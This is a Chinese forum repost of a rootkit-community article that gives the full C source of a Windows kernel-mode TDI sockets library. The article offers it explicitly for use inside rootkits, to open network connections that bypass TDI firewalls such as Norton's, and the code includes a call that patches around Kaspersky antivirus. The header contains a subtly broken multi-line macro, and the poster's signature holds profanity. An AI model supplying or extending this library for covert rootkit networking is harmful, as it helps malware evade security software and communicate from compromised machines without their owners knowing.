发新话题
打印

[转载]Kernel mode sockets library for the masses

[转载]Kernel mode sockets library for the masses

文章作者:valerino
原始连接:http://rootkit.com/newsread.php?newsid=416

It's my birthday today (just turned 31 the 31st december, funny eh ?!), i wanted to publish something,
it makes me feel alive. Christ lived 33 years only, if i'd be the new Christ
i've only 2 years left, so better to share my knowledge now :)

Well, here you have a fully functional TDI sockets library. You can connect,
send, receive, all from your supa-dupa-l333t kernelmode rootkit. Yes, you can
bypass lame TDI firewalls with this. No, you can't bypass ndis firewalls.
(read : you can bypass norton's firewall).

Consider that something like this worths $400+ from PCAUSA, and maybe more
from OSR (KSOCKS)..... enough for a new year's present :)

Usage : you have to hook \\device\tcp yourself and set the global variable TcpIpDevice.
Then call KSocketInitialize and you're done. Refer to the source for usage.... it shouldn't be hard.

have fun, and happy 2006 to everyone ! Ciao! :)




-----------------------------------------sockets.c------------------------------

//************************************************************************
//                                               
// sockets.c
// (c) valerino/xOANINO 2003/2004/2005
//
// this module implements a generic kernel sockets library.
// ** Beware that this is optimized for single thread use if REUSE_SOCKETSIRP is defined.**
//*****************************************************************************

#include "ntifs.h"

#define MODULE "**SOCKETS**"

#ifdef DBG
#ifdef NO_SOCKETS_DBGMSG
#undef KDebugPrint
#define KDebugPrint(DbgLevel,_x)
#endif
#endif

/************************************************************************/
// BOOL KSocketInitialize()
//
// Initialize kernelsockets library
//
/************************************************************************/
BOOL KSocketInitialize()
{
   ExInitializePagedLookasideList(&LookasideSocketMem, NULL, NULL, 0, 1024, 'lskN', 0);
   ExInitializePagedLookasideList(&LookasideSocket,NULL,NULL,0,sizeof (KSOCKET),'cosN',0);
   
#ifdef REUSE_SOCKETSIRP
   // check for tcpdevice
   if (!TcpIpDevice)
      return TRUE;
   
   // allocate the single irp we use throughout the sockets library
   SocketsIrp = IoAllocateIrp(TcpIpDevice->StackSize + 1, FALSE);
   if (!SocketsIrp)
      return FALSE;
#endif
   return TRUE;
}

/************************************************************************/
// PVOID KSocketAllocatePool(VOID)
//
// Allocate memory from sockets lookaside                                             
//
/************************************************************************/
PVOID KSocketAllocatePool(VOID)
{
   PCHAR   p   = NULL;

   p = ExAllocateFromPagedLookasideList(&LookasideSocketMem);
   if (p)
      memset(p, 0, SMALLBUFFER_SIZE);
   return p;
}

/************************************************************************/
// void KSocketFreePool(PVOID pBuffer)
//
// Free memory to sockets lookaside                                             
//
/************************************************************************/
void KSocketFreePool(PVOID pBuffer)
{
   ExFreeToPagedLookasideList(&LookasideSocketMem, pBuffer);
}

/************************************************************************/
// NTSTATUS KSocketCloseObject(HANDLE Handle, PFILE_OBJECT FileObject)
//
// Release a socket object
//
/************************************************************************/
NTSTATUS KSocketCloseObject(HANDLE Handle, PFILE_OBJECT FileObject)
{
   NTSTATUS   Status   = STATUS_SUCCESS;
   
   // dereference referenced object (called for connection and address)
   if (FileObject)
      ObDereferenceObject(FileObject);
   
   // close socket
   if (Handle)
      Status = ZwClose(Handle);
   
   return Status;
}

/************************************************************************/
// PFILE_FULL_EA_INFORMATION KSocketBuildEaValues(PVOID EaName, ULONG NameLength, PVOID EaValue,
//   ULONG ValueLength, PULONG EaLength)
//
// Build EA information for the socket object
//
/************************************************************************/
PFILE_FULL_EA_INFORMATION KSocketBuildEaValues(PVOID EaName, ULONG NameLength, PVOID EaValue,
   ULONG ValueLength, PULONG EaLength)
{
   PFILE_FULL_EA_INFORMATION   Ea;

   *EaLength = FIELD_OFFSET(FILE_FULL_EA_INFORMATION, EaName[0]) + NameLength + 1 + ValueLength;

   // allocate ea buffer
   Ea = ExAllocatePool(PagedPool, *EaLength);
   if (!Ea)
      return NULL;

   // fill buffer with EA values requested
   Ea->NextEntryOffset = 0;
   Ea->Flags = 0;
   Ea->EaNameLength = (UCHAR) NameLength;
   Ea->EaValueLength = (USHORT) ValueLength;
   memcpy (Ea->EaName,EaName,Ea->EaNameLength + 1);
   if (EaValue && EaLength)
      memcpy (&Ea->EaName[NameLength + 1],EaValue,ValueLength);
   
   return Ea;
}

/************************************************************************/
// NTSTATUS KSocketOpenAddress(PHANDLE Handle, PFILE_OBJECT* FileObject, PVOID Context)
//
// Open address                                             
//
/************************************************************************/
NTSTATUS KSocketOpenAddress(PHANDLE Handle, PFILE_OBJECT* FileObject, PVOID Context)
{
   UNICODE_STRING           Name;
   OBJECT_ATTRIBUTES        ObjectAttributes;
   PFILE_FULL_EA_INFORMATION   Ea   = NULL;
   ULONG                EaLength;
   IO_STATUS_BLOCK           Iosb;
   NTSTATUS              Status;
   TA_IP_ADDRESS           Sin;

   // initialize address
   Sin.TAAddressCount = 1;
   Sin.Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;
   Sin.Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
   Sin.Address[0].Address[0].sin_port = 0; // INADDR_ANY;
   Sin.Address[0].Address[0].in_addr = 0;

   // get EA values for address
   Ea = KSocketBuildEaValues(TdiTransportAddress, TDI_TRANSPORT_ADDRESS_LENGTH, &Sin,
        sizeof(TA_IP_ADDRESS), &EaLength);
   if (!Ea)
   {
      Status = STATUS_INSUFFICIENT_RESOURCES;
      goto __exit;
   }

   // open tcp device
   RtlInitUnicodeString(&Name, TCPIP_DEVICE);
   InitializeObjectAttributes(&ObjectAttributes, &Name, OBJ_CASE_INSENSITIVE, NULL, 0);
   Status = ZwCreateFile(Handle, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &ObjectAttributes, &Iosb, 0,
      FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ,FILE_OPEN_IF,0, Ea, EaLength);
   if (!NT_SUCCESS(Status))
      goto __exit;
   
   Status = ObReferenceObjectByHandle(*Handle, FILE_ANY_ACCESS, 0, KernelMode, FileObject, NULL);

__exit:
   if (Ea)
      ExFreePool(Ea);

   return Status;
}

/************************************************************************/
// NTSTATUS KSocketOpenConnection(PHANDLE Handle, PFILE_OBJECT* FileObject, PVOID Context)
//
// open connection                                             
//
/************************************************************************/
NTSTATUS KSocketOpenConnection(PHANDLE Handle, PFILE_OBJECT* FileObject, PVOID Context)
{
   UNICODE_STRING           Name;
   OBJECT_ATTRIBUTES        ObjectAttributes;
   PFILE_FULL_EA_INFORMATION   Ea   = NULL;
   ULONG                EaLength;
   IO_STATUS_BLOCK           Iosb;
   NTSTATUS              Status;

   // get EA values for connection
   Ea = KSocketBuildEaValues(TdiConnectionContext, TDI_CONNECTION_CONTEXT_LENGTH, &Context,
        sizeof(PKSOCKET), &EaLength);
   if (!Ea)
   {
      Status = STATUS_INSUFFICIENT_RESOURCES;
      goto __exit;
   }

   // open tcp device
   RtlInitUnicodeString(&Name, TCPIP_DEVICE);
   InitializeObjectAttributes(&ObjectAttributes, &Name, OBJ_CASE_INSENSITIVE, NULL, 0);
   Status = ZwCreateFile(Handle, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &ObjectAttributes, &Iosb, 0,
      FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ,FILE_OPEN_IF, 0, Ea, EaLength);
   if (!NT_SUCCESS(Status))
      goto __exit;

   Status = ObReferenceObjectByHandle(*Handle, FILE_ANY_ACCESS, 0, KernelMode, FileObject, NULL);

__exit:
   if (Ea)
      ExFreePool(Ea);

   return Status;
}

//************************************************************************
// NTSTATUS KSocketComplete(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)                                             
//  
// Socket completion routine
//************************************************************************/
NTSTATUS KSocketComplete(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
   PMDL mdl = NULL;
   PMDL nextMdl = NULL;
   PKSOCKET_CTX Ctx = (PKSOCKET_CTX)Context;
   
   // set status block
   Ctx->Iosb.Status = Irp->IoStatus.Status;
   Ctx->Iosb.Information = Irp->IoStatus.Information;
   
   // Free any associated MDL.
   if (Irp->MdlAddress != NULL)
   {
      for (mdl = Irp->MdlAddress; mdl != NULL; mdl = nextMdl)
      {
        nextMdl = mdl->Next;
        MmUnlockPages(mdl);
        
        // This function will also unmap pages.
        IoFreeMdl(mdl);
      }

      // set mdl address to null, to prevent iofreeirp to attempt to free it again
      Irp->MdlAddress = NULL;
   }
      
#ifdef REUSE_SOCKETSIRP
   // set irp for reuse
   IoReuseIrp (Irp,STATUS_SUCCESS);
#else
   // free irp
   IoFreeIrp (Irp);
#endif
   // set event
   if (Ctx)
      KeSetEvent (&Ctx->Event,IO_NO_INCREMENT,FALSE);
   
   return STATUS_MORE_PROCESSING_REQUIRED;
}

//************************************************************************
// NTSTATUS KSocketAssociateAddress(HANDLE Address, PFILE_OBJECT Connection)                                             
//  
// Associate address
//************************************************************************/
NTSTATUS KSocketAssociateAddress(HANDLE Address, PFILE_OBJECT Connection)
{
   PDEVICE_OBJECT   DeviceObject;
   PIRP        Irp = NULL;
   NTSTATUS      Status = STATUS_TIMEOUT;
   KSOCKET_CTX      Ctx;
   
   // initialize event and device
   KeInitializeEvent(&Ctx.Event, NotificationEvent, FALSE);   
   DeviceObject = TcpIpDevice;
   
   // allocate TDI_ASSOCIATE_ADDRESS irp
#ifdef REUSE_SOCKETSIRP
   Irp = SocketsIrp;
#else
   Irp = IoAllocateIrp(DeviceObject->StackSize + 1, FALSE);
#endif
   if (!Irp)
      return STATUS_INSUFFICIENT_RESOURCES;
   
   // build irp (this set completion routine too)
   TdiBuildAssociateAddress(Irp, DeviceObject, Connection,KSocketComplete, &Ctx, Address);
   
   // call tcpip
   Status = IoCallDriver(DeviceObject, Irp);
   if (Status == STATUS_PENDING)
   {
      // returned status pending
      Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
      if (Status == STATUS_TIMEOUT)
      {
        KDebugPrint (1, ("%s ***************** KSocketAssociateAddress timeout occurred ***************** cancelling IRP\n", MODULE));
           
        // cancel irp
        IoCancelIrp(Irp);
        
        // wait for completion routine to be called
        KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);

        Status = STATUS_CONNECTION_ABORTED;
      }
      else
      {
        // ok
        Status = Ctx.Iosb.Status;
      }   
   }

   return Status;
}

//************************************************************************
// NTSTATUS KSocketConnect(PKSOCKET pSocket, ULONG Address, USHORT Port)
//  
// Connect socket to address:port                                             
//************************************************************************/
NTSTATUS KSocketConnect(PKSOCKET pSocket, ULONG Address, USHORT Port)
{
   PDEVICE_OBJECT      DeviceObject;
   PIRP           Irp = NULL;
   NTSTATUS        Status = STATUS_TIMEOUT;
   KSOCKET_CTX        Ctx;
   TDI_CONNECTION_INFORMATION   RequestInfo;
   TA_IP_ADDRESS        RemoteAddress;
   PFILE_OBJECT        Connection;
   
   KDebugPrint (2,("%s KSocketConnect called.\n",MODULE));

   if (!pSocket)
      return STATUS_UNSUCCESSFUL;
   
   // set parameters
   Connection = pSocket->ConnectionFile;
   memset (&RequestInfo,0, sizeof(TDI_CONNECTION_INFORMATION));
   memset (&RemoteAddress,0,sizeof (TA_IP_ADDRESS));
   
   RemoteAddress.TAAddressCount = 1;
   RemoteAddress.Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;
   RemoteAddress.Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
   RemoteAddress.Address[0].Address[0].sin_port = Port;
   RemoteAddress.Address[0].Address[0].in_addr = Address;
   
   RequestInfo.UserDataLength = 0;
   RequestInfo.UserData = NULL;
   RequestInfo.OptionsLength = 0;
   RequestInfo.Options = NULL;
   RequestInfo.RemoteAddressLength = sizeof(TA_IP_ADDRESS);
   RequestInfo.RemoteAddress = &RemoteAddress;
   
   // initialize event and device
   KeInitializeEvent(&Ctx.Event, NotificationEvent, FALSE);   
   DeviceObject = TcpIpDevice;
   
   // allocate TDI_CONNECT irp
#ifdef REUSE_SOCKETSIRP
   Irp = SocketsIrp;
#else
   Irp = IoAllocateIrp(DeviceObject->StackSize + 1, FALSE);
#endif
   
   // build irp (this set completion routine too)
   TdiBuildConnect (Irp, DeviceObject,Connection,KSocketComplete, &Ctx,NULL, &RequestInfo,&RequestInfo);
   
   // call tcpip
   Status = IoCallDriver(DeviceObject, Irp);
   if (Status == STATUS_PENDING)
   {
      // returned status pending
      Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
      if (Status == STATUS_TIMEOUT)
      {
        KDebugPrint (1, ("%s ***************** KSocketConnect timeout occurred ***************** cancelling IRP\n", MODULE));
           
        // cancel irp
        IoCancelIrp(Irp);
        
        // wait for completion routine to be called
        KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);

        Status = STATUS_CONNECTION_ABORTED;
      }
      else
        // ok
        Status = Ctx.Iosb.Status;
   }
   
   if (Status == STATUS_SUCCESS)
      pSocket->Connected = TRUE;
   
     return Status;
}


//************************************************************************
// NTSTATUS KSocketDisconnect(PKSOCKET pSocket
//  
// Disconnect socket                                             
//************************************************************************/
NTSTATUS KSocketDisconnect(PKSOCKET pSocket)
{
   PDEVICE_OBJECT   DeviceObject;
   PIRP        Irp = NULL;
   NTSTATUS      Status = STATUS_TIMEOUT;
   TDI_CONNECTION_INFORMATION   ReqDisconnect;
   PFILE_OBJECT   Connection;
   ULONG Flags;
   KSOCKET_CTX   Ctx;
   
   // check if socket is already disconnected
   if (!pSocket)
      return STATUS_UNSUCCESSFUL;
   
   if (!pSocket->Connected)
      return STATUS_ALREADY_DISCONNECTED;
   
   // set parameters
   Connection = pSocket->ConnectionFile;
   memset(&ReqDisconnect,0,sizeof (TDI_CONNECTION_INFORMATION));
   Flags = TDI_DISCONNECT_ABORT;

     // initialize event and device
   KeInitializeEvent(&Ctx.Event, NotificationEvent, FALSE);   
   DeviceObject = TcpIpDevice;
      
   // allocate TDI_DISCONNECT irp
#ifdef REUSE_SOCKETSIRP
   Irp = SocketsIrp;
#else
   Irp = IoAllocateIrp(DeviceObject->StackSize + 1, FALSE);
#endif
   if (!Irp)
      return STATUS_INSUFFICIENT_RESOURCES;
   
   // build irp (this set completion routine too)
   TdiBuildDisconnect (Irp, DeviceObject,Connection,KSocketComplete, &Ctx, NULL,Flags,&ReqDisconnect,&ReqDisconnect);
   
   // call tcpip
   Status = IoCallDriver(DeviceObject, Irp);
   if (Status == STATUS_PENDING)
   {
      // returned status pending
      Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
      if (Status == STATUS_TIMEOUT)
      {
        KDebugPrint (1, ("%s ***************** KSocketDisconnect timeout occurred ***************** cancelling IRP\n", MODULE));
              
        // cancel irp
        IoCancelIrp(Irp);
           
        // wait for completion routine to be called
        KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);

        Status = STATUS_CONNECTION_ABORTED;
      }
      else
      {
        // ok
        Status = Ctx.Iosb.Status;
      }   
   }
   
   if (NT_SUCCESS (Status))
      pSocket->Connected = FALSE;
   
   return Status;
}

//************************************************************************
// NTSTATUS KSocketSend(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size, PSIZE_T BytesSent)
//  
// Send buffer thru socket                                             
//************************************************************************/
NTSTATUS KSocketSend(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size, PSIZE_T BytesSent)
{
   PDEVICE_OBJECT   DeviceObject;
   PFILE_OBJECT   Connection;
   PIRP        Irp = NULL;
   NTSTATUS      Status = STATUS_TIMEOUT;
   KSOCKET_CTX Ctx;
   PMDL        Mdl;
   
   KDebugPrint (2,("%s KSocketSend called.\n",MODULE));
   
   if (!pSocket)
      return STATUS_UNSUCCESSFUL;

   // set parameters
   Connection = pSocket->ConnectionFile;
   *BytesSent = 0;
   
   // initialize event and device
   KeInitializeEvent(&Ctx.Event, NotificationEvent, FALSE);   
   DeviceObject = TcpIpDevice;
        
   // allocate TDI_SEND irp
#ifdef REUSE_SOCKETSIRP
   Irp = SocketsIrp;
#else
   Irp = IoAllocateIrp(DeviceObject->StackSize + 1, FALSE);
#endif
   if (!Irp)
      return STATUS_INSUFFICIENT_RESOURCES;
   
   // build mdl
   Mdl = IoAllocateMdl(Buffer, Size, FALSE, FALSE, NULL);
   if (!Mdl)
   {
      Status = STATUS_INSUFFICIENT_RESOURCES;
      IoFreeIrp (Irp);
      return Status;
   }
   
   __try
   {
      MmProbeAndLockPages(Mdl, KernelMode, IoReadAccess);
   }
   __except(EXCEPTION_EXECUTE_HANDLER)
   {
      IoFreeMdl (Mdl);
      IoFreeIrp (Irp);
      Status = STATUS_UNSUCCESSFUL;
      return Status;
   }
   Mdl->Next = NULL;
   
   // build irp (this set completion routine too)
   TdiBuildSend (Irp, DeviceObject,Connection,KSocketComplete, &Ctx,Mdl,0,Size);
   
   // call tcp
   Status = IoCallDriver(DeviceObject, Irp);
   if (Status == STATUS_PENDING)
   {
      // returned status pending
      Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
      if (Status == STATUS_TIMEOUT)
      {
          KDebugPrint (1, ("%s ***************** KSocketSend timeout occurred ***************** cancelling IRP\n", MODULE));
              
        // cancel irp
        IoCancelIrp(Irp);
              
        // wait for completion routine to be called
        KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);
        Status = STATUS_CONNECTION_ABORTED;
      }
      else
      {
        // ok
        Status = Ctx.Iosb.Status;
      }
   }
   
   // return sent bytes
   *BytesSent = Ctx.Iosb.Information;
   
   // check transferred bytes
   if (Ctx.Iosb.Information != Size)
      Status = STATUS_CONNECTION_ABORTED;

   if (!NT_SUCCESS(Status))
   {
      KDebugPrint(1, ("%s KSocketSend returned error %08x (ReqSent:%d,OkSent:%d)\n", MODULE, Status,
        Size, *BytesSent));
   }
   
   return Status;
}

//************************************************************************
// NTSTATUS KSocketReceive(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size, PSIZE_T BytesReceived, BOOLEAN ReceivePeek)
//  
// Receive buffer thru socket                                             
//************************************************************************/
NTSTATUS KSocketReceive(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size, PSIZE_T BytesReceived, BOOLEAN ReceivePeek)
{
   PDEVICE_OBJECT   DeviceObject;
   PFILE_OBJECT   Connection;
   PIRP        Irp = NULL;
   NTSTATUS      Status = STATUS_TIMEOUT;
   PMDL        Mdl;
   ULONG        Flags;
   KSOCKET_CTX      Ctx;
      
   KDebugPrint (2,("%s KSocketReceive called.\n",MODULE));
   
   if (!pSocket)
      return STATUS_UNSUCCESSFUL;
   
   // set parameters
   Connection = pSocket->ConnectionFile;
   *BytesReceived = 0;
   
   if (ReceivePeek)
      Flags = TDI_RECEIVE_PEEK;
   else
      Flags = TDI_RECEIVE_NORMAL;
   
   // initialize event and device
   KeInitializeEvent(&Ctx.Event, NotificationEvent, FALSE);   
   DeviceObject = TcpIpDevice;
           
   // allocate TDI_RECEIVE irp
#ifdef REUSE_SOCKETSIRP
   Irp = SocketsIrp;
#else
   Irp = IoAllocateIrp(DeviceObject->StackSize + 1, FALSE);
#endif
   if (!Irp)
      return STATUS_INSUFFICIENT_RESOURCES;
   
   // build mdl
   Mdl = IoAllocateMdl(Buffer, Size, FALSE, FALSE, NULL);
   if (!Mdl)
   {
      Status = STATUS_INSUFFICIENT_RESOURCES;
      IoFreeIrp (Irp);
      return Status;
   }
   
   __try
   {
      MmProbeAndLockPages(Mdl, KernelMode, IoWriteAccess);
   }
   __except(EXCEPTION_EXECUTE_HANDLER)
   {
      IoFreeMdl (Mdl);
      IoFreeIrp (Irp);
      Status = STATUS_UNSUCCESSFUL;
      return Status;
   }
   Mdl->Next = NULL;
   
   // build irp (this set completion routine too)
   TdiBuildReceive (Irp, DeviceObject,Connection,KSocketComplete, &Ctx,Mdl,Flags,Size);
   
   // call tcp
   Status = IoCallDriver(DeviceObject, Irp);
   if (Status == STATUS_PENDING)
   {
      // returned status pending
      Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
      if (Status == STATUS_TIMEOUT)
      {
        KDebugPrint (1, ("%s ***************** KSocketReceive timeout occurred ***************** cancelling IRP\n", MODULE));
              
        // cancel irp
        IoCancelIrp(Irp);
              
        // wait for completion routine to be called
        KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);

        Status = STATUS_CONNECTION_ABORTED;
      }
      else
      {
        // ok
        Status = Ctx.Iosb.Status;
      }
   }
   
   // return received bytes
   *BytesReceived = Ctx.Iosb.Information;
   
   // check received bytes
   if (Ctx.Iosb.Information == 0)
      Status = STATUS_CONNECTION_ABORTED;

   if (!NT_SUCCESS(Status))
   {
      KDebugPrint(1, ("%s KSocketReceive returned error %08x (ReqRecv:%d,OkRecv:%d)\n", MODULE, Status,
        Size, *BytesReceived));
   }
   
   return Status;
}

//************************************************************************
// VOID KSocketClose(PKSOCKET Socket)                                             
//  
// Close socket and Release socket memory                                             
//************************************************************************/
VOID KSocketClose(PKSOCKET Socket)
{
   if (Socket == NULL)
   {
      return;
   }

   KSocketCloseObject(Socket->TransportAddressHandle, Socket->TransportAddress);
   KSocketCloseObject(Socket->ConnectionFileHandle, Socket->ConnectionFile);

   ExFreeToPagedLookasideList (&LookasideSocket,Socket);

   Socket = NULL;
}

//************************************************************************
// NTSTATUS KSocketCreate(OUT PKSOCKET* Socket)                                             
//  
// Create socket                                             
//************************************************************************/
NTSTATUS KSocketCreate(OUT PKSOCKET* Socket)
{
   NTSTATUS   Status   = STATUS_SUCCESS;
   PKSOCKET   iSocket   = NULL;

#ifdef ALWAYS_DISABLESOCKETS
   KDebugPrint(1,("%s Sockets disabled, connect skipped.\n", MODULE));
   return STATUS_UNSUCCESSFUL;
#endif
   
   // check disabled sockets
   if (DisableSockets)
   {
      KDebugPrint(1,("%s Sockets disabled, connect skipped.\n", MODULE));
      return STATUS_UNSUCCESSFUL;
   }
   
   // handle KAV (crash if not patched)
   ModulePatchKAV();

   // allocate memory for a new socket
   iSocket = ExAllocateFromPagedLookasideList(&LookasideSocket);
   if (!iSocket)
   {
      Status = STATUS_INSUFFICIENT_RESOURCES;
      goto __exit;
   }
   memset (iSocket,0, sizeof(KSOCKET));

   // open transport address
   Status = KSocketOpenAddress(&iSocket->TransportAddressHandle, &iSocket->TransportAddress,
      iSocket);
   if (!NT_SUCCESS(Status))
      goto __exit;

   // create connection endpoint
   Status = KSocketOpenConnection(&iSocket->ConnectionFileHandle, &iSocket->ConnectionFile,
           iSocket);
   if (!NT_SUCCESS(Status))
      goto __exit;

   // associate address with connection
   Status = KSocketAssociateAddress(iSocket->TransportAddressHandle, iSocket->ConnectionFile);
   if (!NT_SUCCESS(Status))
      goto __exit;
   
__exit:
   if (!NT_SUCCESS(Status))
   {
      if (iSocket)
        KSocketClose(iSocket);
      *Socket = NULL;
   }
   else
      *Socket = iSocket;

   return Status;
}

/************************************************************************/
// NTSTATUS KSocketReadLine(PKSOCKET pSocket, PCHAR buf, SIZE_T maxlen, PSIZE_T ReceivedBytes)
//
// Read line (ascii) from network
//
/************************************************************************/
NTSTATUS KSocketReadLine(PKSOCKET pSocket, PCHAR buf, SIZE_T maxlen, PSIZE_T ReceivedBytes)
{
   NTSTATUS Status = STATUS_UNSUCCESSFUL;
   UCHAR c = 0;
   ULONG i = 0;
   ULONG received = 0;

   // check params
   if (!pSocket || !buf || !ReceivedBytes || !maxlen)
      goto __exit;
   
   *ReceivedBytes = 0;
   if (!pSocket->Connected)
      goto __exit;
   
   // read line char by char, and stop at EOL
   memset (buf, 0, maxlen);
   while (TRUE)
   {
      if (i == maxlen)
        break;
      
      // get char from socket
      Status = KSocketReceive (pSocket,&c,1,&received,FALSE);
      if (!NT_SUCCESS (Status) || received == 0)
        break;
      
      // write char into buffer and advance
      *buf = c;
      buf++;
      i++;
      
      // check for EOL
      if (c == '\n')
      {
        *ReceivedBytes = i;
        break;
      }
   }
   
__exit:
   // treat 0 size received as error
   if (received == 0)
      Status = STATUS_NO_DATA_DETECTED;
   
   return Status;
}

/************************************************************************/
// NTSTATUS KSocketWriteLine(PKSOCKET pSocket, const char* format, ...)
//
// write formatted line (ascii) to network
//
/************************************************************************/
NTSTATUS KSocketWriteLine(PKSOCKET pSocket, const char* format, ...)
{
   va_list      ap;
   char*      buf;
   ULONG      len;
   NTSTATUS   Status;
   SIZE_T      BytesSent   = 0;

   // allocate memory
   buf = KSocketAllocatePool();
   if (!buf)
      return STATUS_INSUFFICIENT_RESOURCES;

   // build line
   va_start(ap, format);
   _vsnprintf(buf, SMALLBUFFER_SIZE, format, ap);
   va_end(ap);
   len = strlen(buf);
   
   // send
   Status = KSocketSend(pSocket, buf, len, &BytesSent);

   // free buffer
   KSocketFreePool(buf);

   // check if we've sent all bytes
   if (BytesSent < len)
      return STATUS_UNSUCCESSFUL;
   
   return Status;
}

-----------------------------------------sockets.h------------------------------

#ifndef __sockets_h__
#define __sockets_h__

#define REUSE_SOCKETSIRP

// debugprint with debuglevel (if dbglevel == debug level, it triggers)
#if DBG
#define KDebugPrint(DbgLevel,_x) { \
if (DbgLevel == DEBUG_LEVEL)     
{                       
DbgPrint _x;               
}                       
}
#else
#define KDebugPrint(DbgLevel,_x)
#endif //DBG

//#define ALWAYS_DISABLESOCKETS

//************************************************************************
// kernel sockets                                             
//                                               
//************************************************************************/
PDEVICE_OBJECT        TcpIpDevice;

typedef struct __tagKSOCKET
{
   PFILE_OBJECT           TransportAddress;
   HANDLE                TransportAddressHandle;
   PFILE_OBJECT           ConnectionFile;
   HANDLE                ConnectionFileHandle;
   BOOLEAN                Connected;
}KSOCKET, * PKSOCKET;

typedef struct _tagKSOCKET_CTX {
   KEVENT Event;
   IO_STATUS_BLOCK Iosb;
} KSOCKET_CTX, *PKSOCKET_CTX;

PAGED_LOOKASIDE_LIST   LookasideSocketMem;
PAGED_LOOKASIDE_LIST   LookasideSocket;
KEVENT              NoNetworkFailures;
BOOLEAN              DisableSockets;              // flag to disable sockets if needed
PDRIVER_DISPATCH      OriginalTcpInternalDeviceControl;
PIRP              SocketsIrp;

// all paged code except the completion routine
BOOL              KSocketInitialize();
#pragma alloc_text      (PAGEboom,KSocketInitialize)

NTSTATUS           KSocketCreate(OUT PKSOCKET* Socket);

VOID              KSocketClose(PKSOCKET Socket);

PVOID              KSocketAllocatePool();

void              KSocketFreePool(PVOID pBuffer);

NTSTATUS           KSocketSend(PKSOCKET pSocket, PVOID  Buffer, SIZE_T Size,
                        PSIZE_T BytesSent);

NTSTATUS           KSocketConnect(PKSOCKET pSocket, ULONG Address, USHORT Port);
NTSTATUS           KSocketDisconnect(PKSOCKET pSocket);

NTSTATUS           KSocketComplete(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context);

NTSTATUS           KSocketReceive(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size, PSIZE_T BytesReceived,
                   BOOLEAN ReceivePeek);

NTSTATUS           KSocketReadLine(PKSOCKET pSocket, PCHAR buf, SIZE_T maxlen, PSIZE_T  ReceivedBytes);

NTSTATUS           KSocketWriteLine(PKSOCKET pSocket, const char* format, ...);


#endif // __sockets_h__
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题